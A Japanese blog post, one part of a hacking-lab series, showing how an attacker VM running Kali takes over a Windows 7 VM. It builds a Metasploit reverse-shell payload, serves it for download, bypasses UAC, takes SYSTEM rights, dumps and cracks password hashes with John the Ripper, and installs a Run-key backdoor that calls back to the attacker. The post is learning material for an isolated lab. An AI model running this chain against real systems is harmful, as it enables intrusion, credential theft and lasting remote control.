【ハッキング・ラボ⑦】Windows7をハッキングする〜Metasploit〜

Windows7に対して、Metasploit Frameworkを使ってハッキングをしていきます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7

攻撃端末はゲストOS1、ターゲット端末はゲストOS2です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS2が10.0.0.102です。



## ペイロードの作成
Metasploitはハッキングに特化した総合ツールです。
調査、侵入、攻撃、バックドアの設置及び接続というサーバ侵入における一連の攻撃をサポートします。

以下のコマンドで起動します。起動するとプロンプトが返ってきます。
これをmsfプロンプトと呼びます。

```
# msfconsole
```

ペイロードを作成します。
ペイロードとは悪意のある動作をする実行コード及び実行プログラムのことです。

作成するペイロードはTCP型のリバースシェルで、このペイロードがターゲット端末で実行されると、攻撃端末からターゲット端末を制御できるようになります。

msfプロンプトで以下のコマンドを実行すると、デスクトップにevil.exeというペイロードが出力されます。

```:msf5
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil.exe
```



## ペイロードの公開
ペイロードをWindows7に送付するために、ペイロードを外部公開ディレクトリに配置します。  

```
# cd /var/www/html
# mkdir share
# cd /home/kali/Desktop/evil.exe share
# chmod -R 755 share
# service apache2 restart
```

Windows7でブラウザから`http://10.0.0.2/share`にアクセスして、evil.exeをダウンロードします。



## リバースシェル接続
まずKali Linuxでmsfプロンプトからリバースシェルを待ち受けます。
待ち受けにはハンドラーモジュールを使用します。
msfプロンプトから以下を実行します。

```:msf5
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
```

Windows7でevil.exeをダブルクリックで実行すると、ペイロードが実行され、リバースシェル接続が完了します。
接続されると、プロンプトが返ってきます。
これをMeterpreterプロンプトと呼びます。
<img width="600" alt="hacking-lab-part7-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/2e2f3e27-ac43-da71-982b-36b90db15e78.jpeg">



## パスワード解析
接続が完了したので、パスワード解析を行ってみます。

パスワード解析を行うためにはSYSTEM権限が必要です。
さらにSYSTEM権限を取得するためには、UAC機能をバイパスする必要があります。
UAC機能は管理者権限が必要となる操作が自動的に実行されてしまうのを防ぐための機能です。

事前にリバースシェル接続をして、セッション（ここでは1）を確立しておきます。
このセッションを通じて、Exploitを送り込みます。
msfプロンプトから以下を実行します。

```:msf5
> use exploit/windows/local/bypassuac
> set SESSION 1
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
```

SYSTEM権限を奪取します。

```:meterpreter
> getsystem -t 1
```

<img width="600" alt="hacking-lab-part7-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/114771ba-9f38-8d2f-588d-e99809fdf0f3.jpeg">

準備が整ったので、パスワードを取得します。
取得したパスワードはハッシュ値になっており、このパスワードハッシュを/root/hash.txtファイルに保存します。

```:meterpreter
> run hashdump
```

さらにパスワードハッシュを解析して、パスワードを特定してみます。
ここでは辞書式攻撃を試してみます
 
ツールにはパスワードクラッカーであるJohn the Ripperを使用します。
辞書にはJohn the Ripperに付属している/usr/share/john/password.lstファイルを使用します。

```
# apt install john
# john --wordlist=/usr/share/john/password.lst --format:nt hash.txt
```

実行してもパスワード解析に成功することはできませんでした。
実験として、既知パスワードである「Passw0rd!」を追記してから、再度パスワード解析を行ってみます。

```
# cd /usr/share/john/password.lst password.lst
# echo "Passw0rd!" >> password.lst
# john --wordlist=/usr/share/john/password.lst --format:nt hash.txt
```

これで解析に成功し、ユーザー名とパスワードを特定することができます。



## バックドアの設置
ここではバックドアを設置していきます。

上記のような操作でたまたまうまく接続できたとしても、毎回うまくいくとは限らずチャンスは何度もないと考えられます。
なので、一度接続に成功したときにバックドアを設置し、次回からはWindows7が起動したら自動でペイロードを実行するように設定しておくべきです。

Meterpreterプロンプトから以下を実行します。

```:meterpreter
> run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2
```

Windows7でどういった変更が加えられたのかをSysinternalsで確認します。

「File」→「Compare」から初期設定で作成したarnファイルと比較すると、HKLM\SOFTWARE\Microsoft\Windows\Current Version\RunレジストリにVBSファイルが設定されていることがわかります。
このレジストリはシステム起動時に自動実行させるプログラムを登録する場所です。
<img width="600" alt="hacking-lab-part7-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/1ca70e8f-efac-bce3-33fc-f9ce187d29f1.jpeg">

これでKali Linux側でリバースシェルを待ち受け状態にしておけば、Windows7起動時に自動的にセッションを確立することができます。